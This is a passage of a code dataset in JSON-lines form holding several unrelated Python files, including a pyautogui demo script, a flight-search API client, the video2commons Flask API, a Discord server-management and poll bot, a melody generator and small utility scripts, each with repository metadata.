нажатие\npyautogui.click()\npyautogui.doubleClick()\npyautogui.tripleClick()\npyautogui.rightClick()\npyautogui.vscroll(200)\npyautogui.middleClick()\n##\n# перемещение с зажатием\n# pyautogui.position()\npyautogui.moveTo(491, 412, duration=1)\npyautogui.dragTo(125, 412, duration=1)\npyautogui.move(100, None, duration=1)\n##\n# ввод с клавиатуры\nsleep(0.5)\npyautogui.typewrite('Hello, World!', interval=0.2)\n##\n# нажатие клавиш: press, hotkey\nsleep(0.5)\npyautogui.press('enter')\npyautogui.hotkey('ctrl', 'a')\n##\n# скриншоты и нахождение отдельных элементов\npyautogui.screenshot(r\"C:\\Users\\Артём Владимирович\\Downloads\\example.png\")\npyautogui.locateCenterOnScreen(r\"C:\\Users\\Артём Владимирович\\Downloads\\text.png\")\npyautogui.click()\n\n\n\n\n\n\n\n##\nsleep(1)\nprint(pyautogui.alert(text='Давайте я покажу вам как работает эта программа', title='interceptor', button='OK'))\nsleep(0.5)\nprint(pyautogui.confirm(text='Еще одно бесполезное окошко', title='Опрос граждан', buttons=['OK', 'Cancel']))\npyautogui.moveTo(x=1265, y=1056, duration=0.8)\npyautogui.click()\n##\nprogram_list = pyautogui.getAllTitles()\nprogram_list\n##\nfor i in range(40):\n if 'Новая вкладка - Google Chrome' in program_list:\n break\n sleep(0.5)\nprint(i)\npyautogui.moveTo(408, 57, duration=1)\npyautogui.click()\npyautogui.typewrite('spongebob cooking', interval=0.2)\npyautogui.press('enter')\npyautogui.moveTo(349, 208, duration=0.5)\npyautogui.click()\npyautogui.moveTo(1060, 418, duration=0.7)\npyautogui.click()\npyautogui.moveTo(1535, 390, duration=0.7)\npyautogui.rightClick()\npyautogui.moveTo(1550, 650, duration=0.7)\npyautogui.click()\npyautogui.moveTo(262, 1053, duration=1)\npyautogui.click()\nprogram_list = pyautogui.getAllTitles()\nfor i in range(40):\n if 'Безымянный - Paint' in program_list:\n break\n sleep(0.5)\nprint(i)\npyautogui.hotkey('ctrl', 'v')\npyautogui.moveTo(273, 387,duration=0.5)\npyautogui.dragTo(330, 542, 1, pyautogui.easeInOutQuad)\nx, y = pyautogui.locateCenterOnScreen(r\"C:\\Users\\Артём Владимирович\\Downloads\\text.png\")\npyautogui.click(x, y)\npyautogui.moveTo(86, 205, duration=0.5)\npyautogui.dragTo(598, 305, 0.5, pyautogui.easeInOutQuad)\npyautogui.press('capslock')\npyautogui.hotkey('shift', 'alt')\npyautogui.click()\npyautogui.typewrite(\"rjulf ujnjdbim vfvt tt k.,bvst rhf,c,ehuths\",\n # when you are cooking crab's burgers for your beloved mom\n interval=0.1) # когда готовишь маме ее любимые крабсбургеры\npyautogui.hotkey('ctrl', 'a')\npyautogui.moveTo(217, 117, duration=0.5)\npyautogui.click()\nsleep(5)\npyautogui.moveTo(195, 314, duration=0.5)\npyautogui.click()\npyautogui.move(250, 50)\npyautogui.click()\n\n##\nprint(pyautogui.password(text='Password l o l', title='Password', default='StrongPass', mask='*'))\n","repo_name":"artemonsh/pyautogui","sub_path":"cheat_sheet_and_spongebob.py","file_name":"cheat_sheet_and_spongebob.py","file_ext":"py","file_size_in_byte":3432,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"42463231015","text":"import requests\nfrom datetime import datetime, timedelta\n\nAPI_KEY = os.environ.get(\"API_KEY\")\nAPP_ID = os.environ.get(\"APP_ID\")\nLOCATIONS_URL = \"https://tequila-api.kiwi.com\"\n\nheaders = {\n \"apikey\": API_KEY,\n}\n\nclass FlightSearch:\n #This class is responsible for talking to the Flight Search API.\n\n def __init__(self):\n self.price = \"\"\n self.departure_city_name = \"Wrocław\",\n self.departure_airport_iata_code = \"WRO\",\n self.arrival_city_name = \"\",\n self.arrival_airport_iata_code = \"\",\n self.from_date = \"\",\n self.to_date = \"\"\n\n\n def get_iataCodes(self, city):\n\n params = {\n \"term\": city,\n \"location_types\": \"airport\",\n }\n\n response = requests.get(url=f\"{LOCATIONS_URL}/locations/query\", params=params, headers=headers)\n result = response.json()\n return result[\"locations\"][0][\"code\"]\n\n def search_flight(self, city_code, price):\n tomorrow = datetime.now() + timedelta(days=1)\n tomorrow_formatted = tomorrow.strftime(\"%d/%m/%Y\")\n in_6_months = datetime.now() + timedelta(days=180)\n in_6_months_formatted = in_6_months.strftime(\"%d/%m/%Y\")\n\n params = {\n \"fly_from\": \"WRO\",\n \"fly_to\": city_code,\n \"date_from\": tomorrow_formatted,\n \"date_to\": in_6_months_formatted,\n \"nights_in_dst_from\": 7,\n \"nights_in_dst_to\": 28,\n \"price_to\": price,\n \"max_stopovers\": 0,\n \"flight_type\": \"round\"\n }\n\n response = requests.get(url=f\"{LOCATIONS_URL}/v2/search\", params=params, headers=headers)\n rezult = response.json()\n if rezult[\"data\"] != []:\n print(f'{rezult[\"data\"][0][\"cityTo\"]}: {(rezult[\"data\"][0][\"price\"])*4} PLN')\n self.price = rezult[\"data\"][0][\"price\"]*4\n self.arrival_city_name = rezult[\"data\"][0][\"cityTo\"]\n self.arrival_airport_iata_code = rezult[\"data\"][0][\"cityCodeTo\"]\n arrival_date = rezult[\"data\"][0][\"local_arrival\"]\n date_back = rezult[\"data\"][0][\"local_departure\"]\n self.from_date = arrival_date.split(\"T\")\n self.to_date = date_back.split(\"T\")\n","repo_name":"Woodchucks/Python-Projects-and-Scripts","sub_path":"flight_deal_finder/flight_search.py","file_name":"flight_search.py","file_ext":"py","file_size_in_byte":2220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35576540626","text":"import json\nimport traceback\nfrom uuid import uuid4\n\nfrom flask import (\n Blueprint, request, session, jsonify\n)\n\nfrom video2commons.config import session_key\n\nfrom video2commons.backend import worker\n\nfrom video2commons.frontend.shared import (\n redisconnection, check_banned, generate_csrf_token, redis_publish\n)\nfrom video2commons.frontend.urlextract import (\n do_extract_url, make_dummy_desc, do_validate_filename,\n do_validate_filedesc, sanitize\n)\nfrom video2commons.frontend.upload import (\n upload as _upload, status as _uploadstatus\n)\n\napi = Blueprint('api', __name__)\n\n\n@api.errorhandler(Exception)\ndef all_exception_handler(e):\n \"\"\"Handle an exception and return an error JSON responce.\"\"\"\n return error_json(e)\n\n\n@api.before_request\ndef check_logged_in():\n \"\"\"Error if a user is not logged in.\"\"\"\n if 'username' not in session and \\\n request.headers.get('X-V2C-Session-Bypass') != session_key:\n return error_json('Are you logged in?')\n\n\n@api.before_request\ndef csrf_protect():\n \"\"\"For POSTs, require CSRF token.\"\"\"\n if request.method == \"POST\":\n token = session.get('_csrf_token')\n if not token or token != request.form.get('_csrf_token'):\n return error_json('Invalid CSRF token. Try reloading this page.')\n\n\ndef format_exception(e):\n \"\"\"Format an exception to text.\"\"\"\n try:\n desc = str(e)\n except UnicodeError:\n desc = '%s' % e\n\n try:\n desc = str(desc.encode('utf-8'))\n except UnicodeError:\n desc = str(desc.decode('utf-8').encode('utf-8'))\n\n if isinstance(e, AssertionError):\n return desc\n else:\n return 'An exception occurred: %s: %s' % \\\n (type(e).__name__, desc)\n\n\ndef error_json(e):\n \"\"\"Get a JSON responce on error.\"\"\"\n session.rollback()\n if isinstance(e, BaseException):\n return jsonify(\n step='error',\n error=format_exception(e),\n traceback=traceback.format_exc()\n )\n else:\n return jsonify(\n step='error',\n error=e,\n traceback=None\n )\n\n\n@api.route('/csrf')\ndef get_csrf():\n \"\"\"Get the CSRF token for API-only access.\"\"\"\n return jsonify(\n csrf=generate_csrf_token()\n )\n\n\n@api.route('/iosession')\ndef get_iosession():\n \"\"\"Get a pointer to session for read-only socket.io notifications.\"\"\"\n iosession = str(uuid4())\n redisconnection.set('iosession:' + iosession, session.sid)\n redisconnection.expire('iosession:' + iosession, 60)\n return jsonify(iosession=iosession)\n\n\n@api.route('/status')\ndef status():\n \"\"\"Get all visible task status for user.\"\"\"\n key, ids = get_tasks()\n values = []\n for id in ids:\n values.append(_status(id))\n\n values = [_f for _f in values if _f]\n rooms = [t['id'] for t in values] + [key]\n return jsonify(\n values=values,\n rooms=rooms,\n username=session['username']\n )\n\n\n@api.route('/status-single')\ndef status_single():\n \"\"\"Get the status of one task.\"\"\"\n return jsonify(\n value=_status(request.args['task'])\n )\n\n\ndef _status(id):\n title = get_title_from_task(id)\n if not title:\n # task has been forgotten -- results should have been expired\n return None\n\n res = worker.main.AsyncResult(id)\n task = {\n 'id': id,\n 'title': title\n }\n\n try:\n state = res.state\n except:\n task.update({\n 'status': 'fail',\n 'text': 'The status of the task could not be retrieved.',\n 'traceback': traceback.format_exc()\n })\n else:\n if state == 'PENDING':\n task.update({\n 'status': 'progress',\n 'text': 'Your task is pending...',\n 'progress': -1\n })\n elif state == 'PROGRESS':\n task.update({\n 'status': 'progress',\n 'text': res.result['text'],\n 'progress': res.result['percent']\n })\n elif state == 'SUCCESS':\n if isinstance(res.result, (list, tuple)):\n filename, wikifileurl = res.result\n task.update({\n 'status': 'done',\n 'url': wikifileurl,\n 'text': filename\n })\n elif isinstance(res.result, dict):\n if res.result['type'] == 'done':\n task.update({\n 'status': 'done',\n 'url': res.result['url'],\n 'text': res.result['filename']\n })\n elif res.result['type'] == 'ssu':\n task.update({\n 'status': 'needssu',\n 'filename': res.result['url'].rsplit('/', 1)[-1],\n 'url': res.result['url'],\n 'hashsum': res.result['hashsum']\n })\n elif state == 'FAILURE':\n e = res.result\n if e is False:\n task.update({\n 'status': 'fail',\n 'text': res.traceback,\n 'restartable': True\n })\n else:\n task.update({\n 'status': 'fail',\n 'text': format_exception(e),\n 'restartable': (\n (not redisconnection.exists('restarted:' + id)) and\n redisconnection.exists('params:' + id)\n )\n })\n elif state == 'RETRY':\n task.update({\n 'status': 'progress',\n 'text': 'Your task is being rescheduled...',\n 'progress': -1\n })\n elif state == 'ABORTED':\n task.update({\n 'status': 'abort',\n 'text': 'Your task is being aborted...'\n })\n else:\n task.update({\n 'status': 'fail',\n 'text': 'This task is in an unknown state. ' +\n 'Please file an issue in GitHub.'\n })\n\n return task\n\n\ndef is_sudoer(username):\n \"\"\"Check if a user is a sudoer.\"\"\"\n return username in redisconnection.lrange('sudoers', 0, -1)\n\n\ndef get_tasks():\n \"\"\"Get a list of visible tasks for user.\"\"\"\n # sudoer = able to monitor all tasks\n username = session['username']\n if is_sudoer(username):\n key = 'alltasks'\n else:\n key = 'tasks:' + username\n\n return key, redisconnection.lrange(key, 0, -1)[::-1]\n\n\ndef get_title_from_task(id):\n \"\"\"Get task title from task ID.\"\"\"\n return redisconnection.get('titles:' + id)\n\n\n@api.route('/extracturl', methods=['POST'])\ndef extract_url():\n \"\"\"Extract a video url.\"\"\"\n url = request.form['url']\n\n return jsonify(**do_extract_url(url))\n\n\n@api.route('/makedesc', methods=['POST'])\ndef make_desc():\n \"\"\"Create a (mostly-empty) description.\"\"\"\n filename = request.form['filename']\n\n return jsonify(**make_dummy_desc(filename))\n\n\n@api.route('/listformats', methods=['POST'])\ndef list_formats():\n \"\"\"List the possible convert formats from a given audio/video pair.\"\"\"\n formats = []\n prefer = ''\n video = _boolize(request.form['video'])\n audio = _boolize(request.form['audio'])\n if video:\n if audio:\n formats = ['ogv (Theora/Vorbis)', 'webm (VP8/Vorbis)',\n 'webm (VP9/Opus)']\n prefer = 'webm (VP9/Opus)'\n else:\n formats = ['ogv (Theora)', 'webm (VP8)',\n 'webm (VP9)']\n prefer = 'webm (VP9)'\n else:\n if audio:\n formats = ['ogg (Vorbis)', 'opus (Opus)']\n prefer = 'ogg (Vorbis)'\n else:\n raise RuntimeError('Either video or audio must be kept')\n\n return jsonify(\n audio=audio,\n video=video,\n format=prefer,\n formats=formats\n )\n\n\ndef _boolize(data):\n return data in [True, 'true', 'TRUE', 'True', 1, '1']\n\n\n@api.route('/validatefilename', methods=['POST'])\ndef validate_filename():\n \"\"\"Validate filename for invalid characters/parts.\"\"\"\n return jsonify(\n filename=do_validate_filename(request.form['filename'])\n )\n\n\n@api.route('/validatefiledesc', methods=['POST'])\ndef validate_filedesc():\n \"\"\"Validate filename for invalid characters/parts.\"\"\"\n return jsonify(\n filedesc=do_validate_filedesc(request.form['filedesc'])\n )\n\n\ndef get_backend_keys(format):\n \"\"\"Get the youtube-dl download format key.\"\"\"\n\n MAXSIZE = 4 << 30\n COMBINED_FMT = (\n 'bestvideo[vcodec={{vcodec}}][filesize<{max}]+'\n 'bestaudio[acodec={{acodec}}]/'\n 'bestvideo[ext={{vext}}][filesize<{max}]+'\n 'bestaudio[ext={{aext}}]/'\n 'bestvideo+bestaudio/best'\n ).format(max=MAXSIZE)\n VIDEO_FMT = (\n 'bestvideo[vcodec={{vcodec}}][filesize<{max}]/'\n 'bestvideo[ext={{vext}}][filesize<{max}]/'\n 'bestvideo/best'\n ).format(max=MAXSIZE)\n AUDIO_FMT = (\n 'bestaudio[acodec={{acodec}}]/'\n 'bestaudio[ext={{aext}}]/'\n 'bestaudio/best'\n ).format(max=MAXSIZE)\n return {\n 'ogv (Theora)':\n (VIDEO_FMT.format(vcodec='theora', vext='ogv'), 'an.ogv'),\n 'webm (VP8)':\n (VIDEO_FMT.format(vcodec='vp8', vext='webm'), 'an.webm'),\n 'webm (VP9)':\n (VIDEO_FMT.format(vcodec='vp9', vext='webm'), 'an.vp9.webm'),\n 'ogg (Vorbis)':\n (AUDIO_FMT.format(acodec='vorbis', aext='ogg'), 'ogg'),\n 'opus (Opus)':\n (AUDIO_FMT.format(acodec='opus', aext='opus'), 'opus'),\n 'ogv (Theora/Vorbis)':\n (COMBINED_FMT.format(\n vcodec='theora', vext='ogv', acodec='vorbis', aext='ogg'),\n 'ogv'),\n 'webm (VP8/Vorbis)':\n (COMBINED_FMT.format(\n vcodec='vp8', vext='webm', acodec='vorbis', aext='ogg'),\n 'webm'),\n 'webm (VP9/Opus)':\n (COMBINED_FMT.format(\n vcodec='vp9', vext='webm', acodec='opus', aext='webm'),\n 'vp9.webm'),\n }[format]\n\n\n@api.route('/task/run', methods=['POST'])\ndef run_task():\n \"\"\"Run a task with parameters from session.\"\"\"\n url = request.form['url']\n ie_key = request.form['extractor']\n subtitles = request.form['subtitles']\n filename = sanitize(request.form['filename'])\n filedesc = request.form['filedesc']\n downloadkey, convertkey = get_backend_keys(request.form['format'])\n username = session['username']\n oauth = (session['access_token_key'], session['access_token_secret'])\n\n taskid = run_task_internal(filename, (\n url, ie_key, subtitles, filename, filedesc,\n downloadkey, convertkey, username, oauth\n ))\n\n return jsonify(id=taskid, step='success')\n\n\ndef run_task_internal(filename, params):\n \"\"\"Internal run task function to accept whatever params given.\"\"\"\n banned = check_banned()\n assert not banned, 'You are banned from using this tool! Reason: ' + banned\n\n res = worker.main.delay(*params)\n taskid = res.id\n\n expire = 14 * 24 * 3600 # 2 weeks\n redisconnection.lpush('alltasks', taskid)\n redisconnection.expire('alltasks', expire)\n redisconnection.lpush('tasks:' + session['username'], taskid)\n redisconnection.expire('tasks:' + session['username'], expire)\n redisconnection.set('titles:' + taskid, filename)\n redisconnection.expire('titles:' + taskid, expire)\n redisconnection.set('params:' + taskid, json.dumps(params))\n redisconnection.expire('params:' + taskid, expire)\n\n redis_publish('add', {'taskid': taskid, 'user': session['username']})\n redis_publish('update', {'taskid': taskid, 'data': _status(taskid)})\n\n return taskid\n\n\n@api.route('/task/restart', methods=['POST'])\ndef restart_task():\n \"\"\"Reastart a task: run a task with params of another task.\"\"\"\n id = request.form['id']\n\n filename = redisconnection.get('titles:' + id)\n assert filename, 'Task does not exist'\n assert id in \\\n redisconnection.lrange('tasks:' + session['username'], 0, -1), \\\n 'Task must belong to you.'\n\n restarted = redisconnection.get('restarted:' + id)\n assert not restarted, \\\n 'Task has already been restarted with id ' + restarted\n params = redisconnection.get('params:' + id)\n assert params, 'Could not extract the task parameters.'\n\n newid = run_task_internal(filename, json.loads(params))\n redisconnection.set('restarted:' + id, newid)\n\n redis_publish('update', {'taskid': id, 'data': _status(id)})\n\n return jsonify(restart='success', id=id, taskid=newid)\n\n\n@api.route('/task/remove', methods=['POST'])\ndef remove_task():\n \"\"\"Revove a task from list of tasks.\"\"\"\n id = request.form['id']\n username = session['username']\n assert id in \\\n redisconnection.lrange('tasks:' + username, 0, -1), \\\n 'Task must belong to you.'\n redisconnection.lrem('alltasks', 0, id)\n redisconnection.lrem('tasks:' + username, 0, id)\n redisconnection.delete('titles:' + id)\n redisconnection.delete('params:' + id)\n redisconnection.delete('restarted:' + id)\n\n redis_publish('remove', {'taskid': id})\n\n return jsonify(remove='success', id=id)\n\n\n@api.route('/task/abort', methods=['POST'])\ndef abort_task():\n \"\"\"Abort a task.\"\"\"\n id = request.form['id']\n username = session['username']\n assert id in \\\n redisconnection.lrange('tasks:' + username, 0, -1), \\\n 'Task must belong to you.'\n worker.main.AsyncResult(id).abort()\n\n redis_publish('update', {'taskid': id, 'data': _status(id)})\n\n return jsonify(remove='success', id=id)\n\n\n# No nested blueprints in flask; we have to do this :(\n@api.route('/upload/upload', methods=['POST'])\ndef upload():\n return _upload()\n\n\n@api.route('/upload/status', methods=['POST'])\ndef uploadstatus():\n return _uploadstatus()\n","repo_name":"toolforge/video2commons","sub_path":"video2commons/frontend/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":13918,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"78"} +{"seq_id":"26939219561","text":"def swap(a,b,arr):\n arr[a],arr[b] = arr[b],arr[a]\n return arr\n\n\narr=[1,2,3,4,5]\nstart = 0\nend = len(arr)-1\nwhile start <= end:\n arr = swap(start,end,arr)\n start += 1\n end -= 1\nprint(arr)\n\n","repo_name":"MURARITEJA831/PythonDsa","sub_path":"Arrays/reverse.py","file_name":"reverse.py","file_ext":"py","file_size_in_byte":203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"16527703680","text":"import discord\nimport sys\nimport tinydb\nfrom config import Configuration\nfrom serverOrchestrator import Server\nfrom voting.democraticPoll import democraticPoll\nfrom auth import AuthManager\n\ncmd_prefix: str = '~'\nservers = {}\nconfig = Configuration(\"config.json\")\nauth = AuthManager(config)\ndb = tinydb.TinyDB(config.databaseFile)\npolls = {}\n\n# create server managers\nfor server in config.servers:\n servers[server.name] = Server(server)\n\nclient = discord.Client()\n\n\n@client.event\nasync def on_connect():\n print('Connected to Discord')\n\n\n@client.event\nasync def on_disconnect():\n print('Disconnected from Discord')\n\n\n@client.event\nasync def on_ready():\n print('We have logged in as {0.user}'.format(client))\n\n\n@client.event\nasync def on_resumed():\n print('Resumed previous session.')\n\n\n@client.event\nasync def on_error(event, *args, **kwargs):\n print('[Error] {0} [{1[0].guild}][{1[0].channel}]: {1} - {2}'.format(event, args, kwargs))\n\n\nasync def shutdown():\n for server in servers.values():\n server.stop()\n await client.close()\n\n\n@client.event\nasync def on_message(message: discord.Message):\n try:\n if message.author == client.user:\n return\n\n user: discord.Member = message.author\n msg: str = message.content\n if msg.startswith(cmd_prefix):\n msg = msg.replace(\"~\", \"\", 1).strip()\n print('[msg][{0.guild}][{0.channel}]@{0.author}: {0.content}'.format(message))\n\n # Bot Admin Commands\n # TODO: Config file\n if auth.isBotAdmin(user.id):\n if msg.startswith('shutdown'):\n return await shutdown()\n\n # Role based\n roles: [str] = list()\n if message.guild:\n for r in user.roles:\n role: discord.Role = r\n roles.append(role.name)\n\n # Server Commands\n serverMsg = msg.split(\" \", 1)\n serverName = serverMsg[0].upper()\n if serverName in servers:\n server: Server = servers[serverName]\n if len(serverMsg) > 1:\n serverCmd = serverMsg[1]\n else:\n serverCmd = \"status\"\n if auth.isBotAdmin(user.id) or server.config.role in roles or server.config.admin_role in roles:\n if 'start' in serverCmd:\n return await message.channel.send(servers[serverName].start())\n elif 'stop' in serverCmd:\n return await message.channel.send(servers[serverName].stop())\n elif 'status' in serverCmd:\n return await message.channel.send(servers[serverName].statusText())\n if auth.isBotAdmin(user.id) or server.config.admin_role in roles:\n if 'run' in serverCmd:\n serverCmd = serverCmd.replace(\"run\", \"\", 1).strip()\n return await message.channel.send(servers[serverName].cmd(msg))\n\n # User Commands\n if msg.startswith('ping'):\n return await message.channel.send('pong!')\n if msg.startswith('help'):\n return await message.channel.send('Not today...')\n if msg.startswith(\"multivote\"):\n multivote = True\n msg = msg.replace(\"multivote\", \"vote\", 1)\n else:\n multivote = False\n if msg.startswith('vote'):\n msg = msg.replace(\"vote\", \"\", 1).strip()\n cmd = msg.split(\" \", 1)\n cmd[0] = cmd[0].lower()\n if cmd[0].startswith(\"new\") or cmd[0].startswith(\"create\"):\n for i in polls:\n poll: democraticPoll = polls[i]\n if poll.question.lower() == cmd[1].lower():\n return await message.channel.send('Poll already exists! ||%{0.id}|| \"{0.question}\"'.format(poll))\n poll = democraticPoll(user, cmd[1], multivote)\n poll.id = len(polls)\n while polls.get(poll.id):\n poll.id += 1\n polls[poll.id] = poll\n return await message.channel.send('Poll created: ||%{0.id}|| {0.question}'.format(poll))\n if cmd[0].startswith(\"history\"):\n output = \"Historical Polls:\"\n output+= \"\\n-----------------\"\n for poll in polls.values():\n output += \"\\n\\|\\| ||%{0.id}|| \\|\\| {0.question}\".format(poll)\n output+= \"\\n-----------------\"\n return await message.channel.send(output)\n if cmd[0].startswith(\"%\"):\n cmd[0] = cmd[0].replace(\"%\", \"\")\n if cmd[0].isnumeric():\n poll = polls.get(int(cmd[0]))\n if not poll:\n return await message.channel.send('Unknown Poll ID!')\n cmd = cmd[1].split(\" \", 1)\n cmd[0] = cmd[0].lower()\n if cmd[0].startswith(\"add\"):\n if poll.addOption(user, cmd[1]):\n return await message.channel.send('Added option {1} to ||%{0.id}|| {0.question}'.format(poll, cmd[1]))\n else:\n return await message.channel.send(\"Couldn't add option {1} to ||%{0.id}|| {0.question}. The poll may not allow editing.\".format(poll, cmd[1]))\n if cmd[0].isnumeric():\n return await poll.vote(user,int(cmd[0]))\n if cmd[0].startswith(\"status\"):\n return await message.channel.send(poll.status())\n if cmd[0].startswith(\"list\"):\n return await message.channel.send(\"Poll ||%{0.id}|| {0.question}:\\n\".format(poll) + poll.listOptions())\n if cmd[0].startswith(\"results\") or cmd[0].startswith(\"tally\"):\n return await message.channel.send(\"Poll ||%{0.id}|| {0.question}:\\n{1}\".format(poll,poll.listOptions(True)))\n if cmd[0].startswith(\"redo\"):\n poll = poll.redo(user)\n poll.id = len(polls)\n while polls.get(poll.id):\n poll.id += 1\n polls[poll.id] = poll\n return await message.channel.send('Recreated: {0}\\n{1}'.format(poll.status(),poll.listOptions()))\n if auth.isBotAdmin(user.id) or user.permissions_in(message.channel).administrator or user is poll.owner:\n if cmd[0].startswith(\"delete\"):\n polls.pop(poll.id)\n return await message.channel.send('Poll deleted: ||%{0.id}|| {0.question}'.format(poll))\n if cmd[0].startswith(\"start\") or cmd[0].startswith(\"restart\"):\n poll.start()\n return await message.channel.send('Poll: ||%{0.id}|| {0.question}\\n{1}\\n----\\nPlease vote now: msg me \"~vote ||%{0.id}|| your_options_number\"'.format(poll, poll.listOptions()))\n if cmd[0].startswith(\"finish\") or cmd[0].startswith(\"end\"):\n return await message.channel.send(poll.finish())\n return await message.channel.send('Looks like your vote command was incomplete or invalid! \"{0}\"'.format(message.content))\n\n except: # catch *all* exceptions\n e = sys.exc_info()\n # print(\"Error: {0}\".format(e[0]))\n print(e)\n return\n\nprint(\"Launching Bot...\")\nclient.run(config.discordBotKey)\n","repo_name":"dittopower/DiscordantDeamonPy","sub_path":"bot2.py","file_name":"bot2.py","file_ext":"py","file_size_in_byte":7753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"39630967733","text":"from get_currency_code import get_countries_info\n\nurl = \"https://www.iban.com/currency-codes\"\nall_country_infos = get_countries_info(url)\n\nprint(\"Welcome to the Currency Trader\")\nprint(\"Choose the country you want to consult the currency code for by the number from the list\")\n\nfor idx, x in enumerate(all_country_infos):\n print(f\"#{idx} {x['name']}\")\n\nwhile True:\n try:\n op = int(input(\"#: \"))\n \n if op > 268 or op <0:\n print(\"This options doesn't exist, please choose a numbre from the list.\")\n else:\n print(f\"You chose {all_country_infos[op]['name']}\")\n print(f\"The currency code is: {all_country_infos[op]['currency_code']}\")\n break\n except:\n print(\"This is not a number, please enter a number\")\n","repo_name":"MatheusAntonioMonteiro/currency_trader","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"28637932973","text":"\"\"\"menambah booking table\n\nRevision ID: 98af243c1c25\nRevises: 0e4cf30ed691\nCreate Date: 2023-01-05 10:54:47.561725\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '98af243c1c25'\ndown_revision = '0e4cf30ed691'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('booking',\n sa.Column('id_booking', sa.BigInteger(), autoincrement=True, nullable=False),\n sa.Column('userId', sa.BigInteger(), nullable=False),\n sa.Column('jam_mulai', sa.DateTime(), nullable=True),\n sa.Column('jam_akhir', sa.DateTime(), nullable=True),\n sa.Column('created_at', sa.DateTime(), nullable=True),\n sa.Column('updated_at', sa.DateTime(), nullable=True),\n sa.PrimaryKeyConstraint('id_booking')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('booking')\n # ### end Alembic commands ###\n","repo_name":"Hazard-Nico/reservasi-app","sub_path":"migrations/versions/98af243c1c25_menambah_booking_table.py","file_name":"98af243c1c25_menambah_booking_table.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"40155106102","text":"import json\nimport numpy as np\nimport tensorflow.keras as keras\nimport music21 as m21\n\nfrom AIModel.constants import SEQUENCE_LENGTH, LOOKUP_TABLE_DESTINATION\nfrom AIModel.utils import transpose_music_from_CA\nfrom AIModel.constants import DEFAULT_MODEL_PATH\n\nclass MelodyGenerator:\n \"\"\"A class that wraps the LSTM model and offers utilities to generate melodies.\"\"\"\n\n def __init__(self, model_path=DEFAULT_MODEL_PATH):\n \"\"\"Constructor that initialises TensorFlow model\"\"\"\n\n self.model_path = model_path\n self.model = keras.models.load_model(model_path)\n\n with open(LOOKUP_TABLE_DESTINATION, \"r\") as fp:\n self._mappings = json.load(fp)\n\n self._start_symbols = [\"/\"] * SEQUENCE_LENGTH\n\n\n def generate_melody(\n self, \n seed, \n num_steps=500, \n max_sequence_length=SEQUENCE_LENGTH, \n temperature=1.0\n ):\n seed = seed.split()\n melody = seed\n seed = self._start_symbols + seed\n\n seed = [self._mappings[symbol] for symbol in seed]\n\n for _ in range(num_steps):\n\n seed = seed[-max_sequence_length:]\n\n onehot_seed = keras.utils.to_categorical(seed, num_classes=len(self._mappings))\n \n # (1, max_sequence_length, num of symbols in the vocabulary)\n onehot_seed = onehot_seed[np.newaxis, ...]\n\n probabilities = self.model.predict(onehot_seed)[0]\n\n output_int = self._sample_with_temperature(probabilities, temperature)\n\n seed.append(output_int)\n\n # map int to our encoding\n output_symbol = [k for k, v in self._mappings.items() if v == output_int][0]\n\n # check whether we're at the end of a melody\n if output_symbol == \"/\":\n break\n\n melody.append(output_symbol)\n\n return melody\n\n\n def _sample_with_temperature(self, probabilites, temperature):\n\n predictions = np.log(probabilites) / temperature\n probabilites = np.exp(predictions) / np.sum(np.exp(predictions))\n\n choices = range(len(probabilites))\n index = np.random.choice(choices, p=probabilites)\n\n return index\n\n\n def save_melody(\n self,\n melody,\n step_duration=0.25,\n format=\"midi\",\n file_name=\"mel.mid\",\n key=\"C\",\n mode=\"major\",\n tempo=120\n ):\n stream = m21.stream.Stream()\n\n start_symbol = None\n step_counter = 1\n\n # parse all the symbols in the melody and create note/rest objects\n for i, symbol in enumerate(melody):\n\n # handle case in which we have a note/rest and its not the end of the melody\n if symbol != \"_\" or i + 1 == len(melody):\n\n # ensure we're dealing with note/rest beyond the first one\n if start_symbol is not None:\n\n quarter_length_duration = step_duration * step_counter # 0.25 * 4 = 1\n\n if start_symbol == \"r\":\n m21_event = m21.note.Rest(quarterLength=quarter_length_duration)\n\n else:\n m21_event = m21.note.Note(int(start_symbol), quarterLength=quarter_length_duration)\n\n stream.append(m21_event)\n\n step_counter = 1\n\n start_symbol = symbol\n\n # handle case in which we have a prolongation sign \"_\"\n else:\n step_counter += 1\n stream = transpose_music_from_CA(stream, key, mode)\n\n tempo_factor = 120 / tempo\n \n stream = stream.scaleOffsets(tempo_factor).scaleDurations(tempo_factor)\n stream.write(format, file_name)\n","repo_name":"AlexVelezLl/MusicGenerator","sub_path":"Backend/AIModel/melodyGenerator.py","file_name":"melodyGenerator.py","file_ext":"py","file_size_in_byte":3657,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"} +{"seq_id":"24800158456","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport sqlalchemy as db\n\nengine = db.create_engine('mysql+mysqlconnector://root:admin@localhost:3306/graphic_card')\nconnection = engine.connect()\n\n#get data from sql\ndata = pd.read_sql_table('information', connection)\n\nproduct = data.loc[:, ['rating', 'price']]\nproduct['rating'] = product['rating'].str[9:]\nproduct['rating'] = pd.to_numeric(product['rating'])\nproduct['price'] = product['price'].str.replace(',', '')\nproduct['price'] = pd.to_numeric(product['price'])\nplt.scatter(product['rating'], 